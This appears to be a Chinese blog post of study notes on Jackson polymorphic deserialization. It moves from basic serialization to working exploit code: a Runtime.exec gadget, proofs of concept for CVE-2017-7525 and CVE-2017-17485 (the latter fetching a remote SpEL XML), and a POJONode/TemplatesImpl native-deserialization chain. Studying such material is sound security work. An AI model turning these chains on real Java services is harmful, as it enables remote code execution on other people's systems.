前言
学期初爽学一次Java,学期末再爽学一次Java😋
参考:
https://zer0peach.github.io/2023/09/27/Jackson/
Jackson基本使用
Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。
由于其使用简单,速度较快,且不依靠除 JDK 外的其他库,被众多用户所使用。
pom.xml
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.8</version>
</dependency>
</dependencies>
序列化与反序列化
定义一个 Person 类
public class Person {
public int age;
public String name;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s", age, name);
}
}
接着编写 Jackson 的序列化与反序列化代码
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonTest {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
那么这里序列化的方法为ObjectMapper.writeValueAsString
,反序列化的方法为ObjectMapper.readValue
多态问题
Java 多态指同一个接口使用不同的实例而执行不同的操作
那么对于反序列化来说就会有一个问题,对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例?
Jackson 实现了 JacksonPolymorphicDeserialization
机制来解决这个问题:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如 Object、接口或抽象类,则可以在 JSON 字符串中指定其具体类型,Jackson 将生成具体类型的实例
具体的操作:启用 DefaultTyping
和 @JsonTypeInfo
注解
DefaultTyping
在 ObjectMapper 中有详细介绍
实际上四个选项是依次扩大作用范围的:
DefaultTyping类型 | 描述说明 |
---|---|
JAVA_LANG_OBJECT | 属性的类型为Object |
OBJECT_AND_NON_CONCRETE | 属性的类型为Object、Interface、AbstractClass |
NON_CONCRETE_AND_ARRAYS | 属性的类型为Object、Interface、AbstractClass、Array |
NON_FINAL | 所有除了声明为final之外的属性 |
JAVA_LANG_OBJECT
当被序列化或反序列化的类里的属性被声明为一个 Object 类型时,会对该 Object 类型的属性进行序列化和反序列化,并且明确规定类名。(当然,这个 Object 本身也得是一个可被序列化的类)
添加一个 Hacker 类
public class Hacker {
public String skill = "havefun";
}
修改 Person 类,添加 Object 类型属性:
public class Person {
public int age;
public String name;
public Object object;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}
新建 JAVA_LANG_OBJECTTest.java,添加 enableDefaultTyping()
并设置为 JAVA_LANG_OBJECT
:
import com.fasterxml.jackson.databind.ObjectMapper;
public class JAVA_LANG_OBJECTTest {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
p.object = new Hacker();
ObjectMapper mapper = new ObjectMapper();
// 设置JAVA_LANG_OBJECT
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
无 DefaultTyping 的情况是:
对比可以看出来,通过 enableDefaultTyping 设置 JAVA_LANG_OBJECT 后,会多输出 Hacker 类名,且在输出的 Object 属性时直接输出的是 Hacker 类对象
也就是说对 Object 对象进行了序列化和反序列化,并且明确规定类名
OBJECT_AND_NON_CONCRETE
enableDefaultTyping 无参数时的默认选项。除了前面提到的特征,当类里有Interface、AbstractClass类时,对其进行序列化和反序列化。
整一个 Sex 接口
public interface Sex {
public void setSex(int sex);
public int getSex();
}
然后实现它
public class MySex implements Sex {
int sex;
@Override
public int getSex() {
return sex;
}
@Override
public void setSex(int sex) {
this.sex = sex;
}
}
修改 Person 类
public class Person {
public int age;
public String name;
public Object object;
public Sex sex;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex);
}
}
序列化和反序列化:
import com.fasterxml.jackson.databind.ObjectMapper;
public class OBJECT_AND_NON_CONCRETE_Test {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
p.object = new Hacker();
p.sex = new MySex();
ObjectMapper mapper = new ObjectMapper();
// 设置OBJECT_AND_NON_CONCRETE
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
// 或直接无参调用,输出一样
//mapper.enableDefaultTyping();
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
输出:可以看到该 Interface 类被序列化和反序列化
{"age":6,"name":"0w0","object":["Hacker",{"skill":"havefun"}],"sex":["MySex",{"sex":0}]}
Person.age=6, Person.name=0w0, Hacker@42dafa95, MySex@6500df86
NON_CONCRETE_AND_ARRAYS
除了前面提到的特征外,还支持 Array 类型
于是给 Object 以 Hacker 类型数组:
import com.fasterxml.jackson.databind.ObjectMapper;
public class NON_CONCRETE_AND_ARRAYS_Test {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
Hacker[] hackers = new Hacker[2];
hackers[0] = new Hacker();
hackers[1] = new Hacker();
p.object = hackers;
p.sex = new MySex();
ObjectMapper mapper = new ObjectMapper();
// 设置NON_CONCRETE_AND_ARRAYS
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
输出:
{"age":6,"name":"0w0","object":["[LHacker;",[{"skill":"havefun"},{"skill":"havefun"}]],"sex":["MySex",{"sex":0}]}
Person.age=6, Person.name=0w0, [LHacker;@5cb9f472, MySex@cb644e
类名变成了 "[L"+类名+";"
NON_FINAL
除了前面的所有特征外,包含即将被序列化的类里的全部、非 final 的属性,也就是相当于整个类、除 final 外的属性信息都需要被序列化和反序列化
给 Person 加上 Hacker 属性
public class Person {
public int age;
public String name;
public Object object;
public Sex sex;
public Hacker hacker;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s, %s, %s", age, name, object == null ? "null" : object, sex == null ? "null" : sex, hacker == null ? "null" : hacker);
}
}
序列化与反序列化:
import com.fasterxml.jackson.databind.ObjectMapper;
public class NON_FINAL_Test {
public static void main(String[] args) throws Exception {
Person p = new Person();
p.age = 6;
p.name = "0w0";
p.object = new Hacker();
p.sex = new MySex();
p.hacker = new Hacker();
ObjectMapper mapper = new ObjectMapper();
// 设置NON_FINAL
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json = mapper.writeValueAsString(p);
System.out.println(json);
Person p2 = mapper.readValue(json, Person.class);
System.out.println(p2);
}
}
输出:
["Person",{"age":6,"name":"0w0","object":["Hacker",{"skill":"havefun"}],"sex":["MySex",{"sex":0}],"hacker":["Hacker",{"skill":"havefun"}]}]
Person.age=6, Person.name=0w0, Hacker@42dafa95, MySex@6500df86, Hacker@402a079c
成功对非 final 的 hacker 属性进行序列化和反序列化
@JsonTypeInfo 注解
@JsonTypeInfo
注解是 Jackson 多态类型绑定的一种方式,支持下面5种类型的取值:
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
JsonTypeInfo.Id.NONE
默认设置
JsonTypeInfo.Id.CLASS
起一个 User 类,把 Hacker 类移到 com.example 下,指定注解
package com.example;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class User {
public String username;
public String password;
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
public Object object;
@Override
public String toString() {
return "com.example.User{" +
"username='" + username + '\'' +
", password='" + password + '\'' +
", object=" + object +
'}';
}
}
然后序列化和反序列化:
import com.example.Hacker;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonTypeInfo_Id_NONE_Test {
public static void main(String[] args) throws Exception {
User u = new User();
u.username = "0w0";
u.password = "******";
u.object = new Hacker();
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(u);
System.out.println(json);
User u2 = mapper.readValue(json, User.class);
System.out.println(u2);
}
}
输出:
{"username":"0w0","password":"******","object":{"@class":"com.example.Hacker","skill":"havefun"}}
User{username='0w0', password='******', object=com.example.Hacker@25bbe1b6}
相比 NONE 注解时,object 属性中多了 "@class":"com.example.Hacker"
,即含有具体的类的信息,同时反序列化出来了 object 属性 Hacker 类对象,即能够成功对指定类型进行序列化和反序列化
也就是说,在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS
修饰的话,可以通过 @class 的方式指定相关类,并进行相关调用
JsonTypeInfo.Id.MINIMAL_CLASS
修改注解值为JsonTypeInfo.Id.MINIMAL_CLASS
输出:
{"username":"0w0","password":"******","object":{"@c":"com.example.Hacker","skill":"havefun"}}
User{username='0w0', password='******', object=com.example.Hacker@69ea3742}
object属性中 "@c":"com.example.Hacker"
,即使用 @c 替代了 @class
官方描述中的意思是缩短了相关类名,实际效果和 JsonTypeInfo.Id.CLASS 类似
JsonTypeInfo.Id.NAME
修改注解值为JsonTypeInfo.Id.NAME
输出:
object属性中"@type":"Hacker"
,乍一看没什么问题,但实际上没有具体的包名在内的类名,因此在后面的反序列化的时候会报错,也就是说这个设置值是不能被反序列化利用的
JsonTypeInfo.Id.CUSTOM
直接运行会抛出异常,需要用户自定义来使用
那么可触发反序列化的注解就两个:
- JsonTypeInfo.Id.CLASS
- JsonTypeInfo.Id.MINIMAL_CLASS
反序列化中类属性方法的调用
整个 User2 类,加上 setter 和 getter
public class User2 {
private String name;
private int age;
public User2() {
System.out.println("构造方法");
}
public User2(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("getname");
return name;
}
public void setName(String name) {
System.out.println("setname");
this.name = name;
}
public int getAge() {
System.out.println("getage");
return age;
}
public void setAge(int age) {
System.out.println("setage");
this.age = age;
}
}
序列化与反序列化:
import com.fasterxml.jackson.databind.ObjectMapper;
public class DeserializationTest {
public static void main(String[] args) throws Exception {
User2 test = new User2("0w0", 16);
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(test);
System.out.println(json);
User2 u2 = mapper.readValue(json, User2.class);
System.out.println(u2);
}
}
可以看到序列化会调用 getter,而反序列化会调用构造方法和 setter,和 fastjson 类似
Jackson反序列化漏洞
满足下面三个条件之一即存在 Jackson 反序列化漏洞:
- 调用了
ObjectMapper.enableDefaultTyping()
函数; - 对要进行反序列化的类的属性使用了值为
JsonTypeInfo.Id.CLASS
的@JsonTypeInfo
注解; - 对要进行反序列化的类的属性使用了值为
JsonTypeInfo.Id.MINIMAL_CLASS
的@JsonTypeInfo
注解;
由之前的结论知道,当使用的 JacksonPolymorphicDeserialization 机制配置有问题时,Jackson 反序列化就会调用属性所属类的构造函数和 setter 方法。
而如果该构造函数或 setter 方法存在危险操作,那么就存在 Jackson 反序列化漏洞。
属性不为Object类时
当要进行反序列化的类的属性所属类的构造函数或 setter 方法本身存在漏洞时,这种场景存在 Jackson 反序列化漏洞,实际场景几乎不可能存在这种好事
直接修改 MySex 类的 setSex() 方法,在其中添加命令执行操作
public class MySex implements Sex {
int sex;
public MySex() {
System.out.println("MySex构造函数");
}
@Override
public int getSex() {
System.out.println("MySex.getSex");
return sex;
}
@Override
public void setSex(int sex) {
System.out.println("MySex.setSex");
this.sex = sex;
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Person3类
public class Person3 {
public int age;
public String name;
public Sex sex;
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, sex == null ? "null" : sex);
}
}
编写反序列化类,构造 Payload
public class DeserializationRun {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{\"age\":16,\"name\":\"0w0\",\"sex\":[\"MySex\",{\"sex\":1}]}";
Person3 p2 = mapper.readValue(json, Person3.class);
System.out.println(p2);
}
}
属性为Object类时
当属性类型为 Object 时,因为 Object 类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或 setter 方法存在漏洞代码的类即可进行攻击利用。
Evil:
public class Evil {
String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(this.cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Person4:
import com.fasterxml.jackson.annotation.JsonTypeInfo;
public class Person4 {
public int age;
public String name;
// @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
// 或 @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
public Object object;
public Person4() {
System.out.println("Person4 构造函数");
}
public void setAge(int age) {
System.out.println("Person4 setter 函数");
}
@Override
public String toString() {
return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);
}
}
反序列化代码:
import com.fasterxml.jackson.databind.ObjectMapper;
public class DeserializationObjectRun {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "{\"age\":16,\"name\":\"0w0\",\"object\":[\"Evil\",{\"cmd\":\"calc\"}]}";
Person4 p2 = mapper.readValue(json, Person4.class);
System.out.println(p2);
}
}
感觉下面这两个 cve 和 jackson 本身的关联不是特别大,记个poc差不多了
CVE-2017-7525
Jackson 2.6 系列 < 2.6.7.1
Jackson 2.7 系列 < 2.7.9.1
Jackson 2.8 系列 < 2.8.8.1
poc:
public class PoC {
public static void main(String[] args) throws Exception {
String exp = readClassStr("E:\\evilClass\\SimpleCalc.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'drun1baby',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Test test;
try {
test = mapper.readValue(jsonInput, Test.class);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String aposToQuotes(String json){
return json.replace("'","\"");
}
public static String readClassStr(String cls) throws Exception{
File file = new File(cls);
FileInputStream fileInputStream = new FileInputStream(file);
byte[] bytes = new byte[(int) file.length()];
fileInputStream.read(bytes);
String base64Encoded = DatatypeConverter.printBase64Binary(bytes);
return base64Encoded;
}
}
这个本质上是 TemplateImpl 类的类动态加载
CVE-2017-17485
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
基于 org.springframework.context.support.ClassPathXmlApplicationContext
利用链,在开启 enableDefaultTyping()
或使用有问题的 @JsonTypeInfo
注解的前提下,可以通过 jackson-databind 来滥用 Spring 的 SpEL 表达式注入漏洞来触发 Jackson 反序列化漏洞的,从而达到任意命令执行的效果。
poc:
public class PoC {
public static void main(String[] args) {
//CVE-2017-17485
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8888/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
spel.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
Jackson原生反序列化
Springboot 一般都会自带 JackSon 这个依赖包
和 fastjson 的 JsonObject 一样,今天的主角是 JackSon 里的 PojoNode,虽然说上面 Jackson 只会触发构造函数和 setter,但是 PojoNode#toString
是可以直接触发任意 getter 的,条件:
- 不需要存在该属性
- getter方法需要有返回值
- 尽可能的只有一个getter
这里使用 jackson 2.13.5,低版本貌似触发不了
Demo
package com.origin.unser;
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable {
public User() {
}
public Object getName() throws IOException {
Runtime.getRuntime().exec("calc");
return "asdas";
}
public Object setName(String name) {
System.out.println("setname");
return "sadsad";
}
}
package com.origin.unser;
import com.fasterxml.jackson.databind.node.POJONode;
public class Demo {
public static void main(String[] args) throws Exception {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}
调试一下可以看到这里的调用栈
可以看到 POJONode 中的 toString 最终是从 BaseJsonNode 继承来的
调用链为:toString -> InternalNodeMapper#nodeToString -> ObjectWriter#writeValueAsString
关键在最后这个方法,将一个 Bean 对象序列化为一个 json 串常用的方法是writeValueAsString
方法,在调用该方法的过程中将会通过遍历的方法将 bean 对象中的所有的属性的 getter 方法进行调用
注意
在 BaseJsonNode 中存在如下语句
Java 的序列化机制保证在序列化时先调用该对象的 writeReplace 方法,即这里的 writeReplace 会替代原始的对象序列化方法,序列化成其他格式的数据,在这过程中会抛出异常
解决办法是自己创建并重写 BaseJsonNode,把 writeReplace 去掉
或者利用 javassist 动态移除 BaseJsonNode 的 writeReplace 方法:
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
TemplatesImpl链
最经典,把 fastjson 那条拿出来,JSONArray/JSONObject 改成 POJONode 即可
package com.origin.unser;
import com.example.Utils;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
// ClassPool pool = ClassPool.getDefault();
// CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
// CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
// ctClass0.removeMethod(writeReplace);
// ctClass0.toClass();
TemplatesImpl obj = Utils.getTemplatesImpl();
POJONode pojonode = new POJONode(obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", pojonode);
String barr = Utils.Serialize(badAttributeValueExpException);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
推荐 obj 把 TemplatesImpl 换为 Templates 父类,以避免一些错误